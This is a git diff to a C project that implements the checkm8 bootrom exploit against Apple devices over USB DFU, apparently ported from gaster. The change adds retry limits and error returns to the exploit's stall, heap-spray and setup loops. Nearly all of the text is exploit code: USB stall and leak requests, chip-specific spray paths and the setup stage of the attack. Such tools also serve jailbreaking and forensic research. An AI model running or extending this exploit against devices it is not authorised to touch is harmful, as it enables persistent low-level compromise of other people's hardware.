diff --git a/include/exploit/checkm8_internal.h b/include/exploit/checkm8_internal.h index 3d4f4b6..950c96d 100644 --- a/include/exploit/checkm8_internal.h +++ b/include/exploit/checkm8_internal.h @@ -223,8 +223,9 @@ int checkm8_usb_request_leak(libusb_device_handle *usb); * checkm8_stall -- Repeatedly send GET_DESCRIPTOR with variable abort * timeout until the device responds with a short transfer and a * successful leak request. Matches gaster's checkm8_stall(). + * Returns 0 on success, -1 if MAX_STALL_RETRIES is exceeded. */ -void checkm8_stall(libusb_device_handle *usb); +int checkm8_stall(libusb_device_handle *usb); /* * checkm8_no_leak -- Async GET_DESCRIPTOR with 1ms timeout and diff --git a/src/exploit/checkm8_spray.c b/src/exploit/checkm8_spray.c index eb6a166..3c72776 100644 --- a/src/exploit/checkm8_spray.c +++ b/src/exploit/checkm8_spray.c @@ -1,5 +1,9 @@ /* checkm8_spray.c -- checkm8 spray helpers + stage 3 (from gaster) */ +/* Max attempts for the stall loop and each spin loop in the spray stage. + * Gaster typically converges in a handful of iterations; 100 is generous. */ +#define MAX_STALL_RETRIES 100 + #include #include @@ -89,16 +93,24 @@ int checkm8_usb_request_leak(libusb_device_handle *usb) * timeout. Loops until a short transfer occurs and a subsequent * leak request succeeds. */ -void checkm8_stall(libusb_device_handle *usb) +int checkm8_stall(libusb_device_handle *usb) { unsigned usb_timeout = USB_ABORT_TIMEOUT_DEFAULT; unsigned usb_abort_timeout = usb_timeout - 1; uint16_t desc_len = 3 * EP0_MAX_PACKET_SZ; + int attempt = 0; for (;;) { - unsigned char *buf = calloc(1, desc_len); + unsigned char *buf; int ret; + if (++attempt > MAX_STALL_RETRIES) { + log_error("checkm8_stall: exceeded %d retries, giving up", + MAX_STALL_RETRIES); + return -1; + } + + buf = calloc(1, desc_len); if (!buf) continue; @@ -123,6 +135,8 @@ void checkm8_stall(libusb_device_handle *usb) % (usb_timeout - USB_ABORT_TIMEOUT_MIN + 1) + USB_ABORT_TIMEOUT_MIN; } + + return 0; } /* ------------------------------------------------------------------ */ @@ -192,21 +206,38 @@ int checkm8_stage_spray(exploit_ctx_t *ctx) */ if (cpid == 0x7001 || cpid == 0x7000 || cpid == 0x7002 || cpid == 0x8003 || cpid == 0x8000) { + int spray_attempt = 0; while (!checkm8_usb_request_stall(usb) || !checkm8_usb_request_leak(usb) || !checkm8_no_leak(usb)) { - /* spin */ - } - } else { - checkm8_stall(usb); - for (i = 0; i < chip->config_hole; ++i) { - while (!checkm8_no_leak(usb)) { - /* spin */ + if (++spray_attempt > MAX_STALL_RETRIES) { + log_error("checkm8_stage_spray: path A exceeded %d retries", + MAX_STALL_RETRIES); + return -1; } } + } else { + if (checkm8_stall(usb) != 0) + return -1; + for (i = 0; i < chip->config_hole; ++i) { + int hole_attempt = 0; + while (!checkm8_no_leak(usb)) { + if (++hole_attempt > MAX_STALL_RETRIES) { + log_error("checkm8_stage_spray: no_leak hole %zu " + "exceeded %d retries", + i, MAX_STALL_RETRIES); + return -1; + } + } + } + int final_attempt = 0; while (!checkm8_usb_request_leak(usb) || !checkm8_no_leak(usb)) { - /* spin */ + if (++final_attempt > MAX_STALL_RETRIES) { + log_error("checkm8_stage_spray: path B final loop " + "exceeded %d retries", MAX_STALL_RETRIES); + return -1; + } } } @@ -226,8 +257,14 @@ int checkm8_stage_spray(exploit_ctx_t *ctx) * then DFU_CLR_STATUS with 0 data bytes. */ for (i = 0; i < chip->config_large_leak; ++i) { + int large_attempt = 0; while (!checkm8_usb_request_stall(usb)) { - /* spin */ + if (++large_attempt > MAX_STALL_RETRIES) { + log_error("checkm8_stage_spray: large_leak stall %zu " + "exceeded %d retries", + i, MAX_STALL_RETRIES); + return -1; + } } } dfu_clr_status(usb); diff --git a/src/exploit/checkm8_stages.c b/src/exploit/checkm8_stages.c index f487955..68cb223 100644 --- a/src/exploit/checkm8_stages.c +++ b/src/exploit/checkm8_stages.c @@ -1,5 +1,9 @@ /* checkm8_stages.c -- checkm8 exploit stages: reset, setup, spray */ +/* Max attempts before bailing out of the setup stage loop. + * Gaster typically succeeds within 5-10 attempts; 50 is generous. */ +#define MAX_SETUP_RETRIES 50 + #include #include #include @@ -177,7 +181,14 @@ int checkm8_stage_setup(exploit_ctx_t *ctx) log_info("checkm8: stage 2/4 -- setup (overwrite_pad=0x%X)", overwrite_pad); + int attempt = 0; for (;;) { + if (++attempt > MAX_SETUP_RETRIES) { + log_error("checkm8_stage_setup: exceeded %d retries, giving up", + MAX_SETUP_RETRIES); + return -1; + } + uint8_t *dnload_buf; uint8_t *pad_buf; uint16_t pad_len;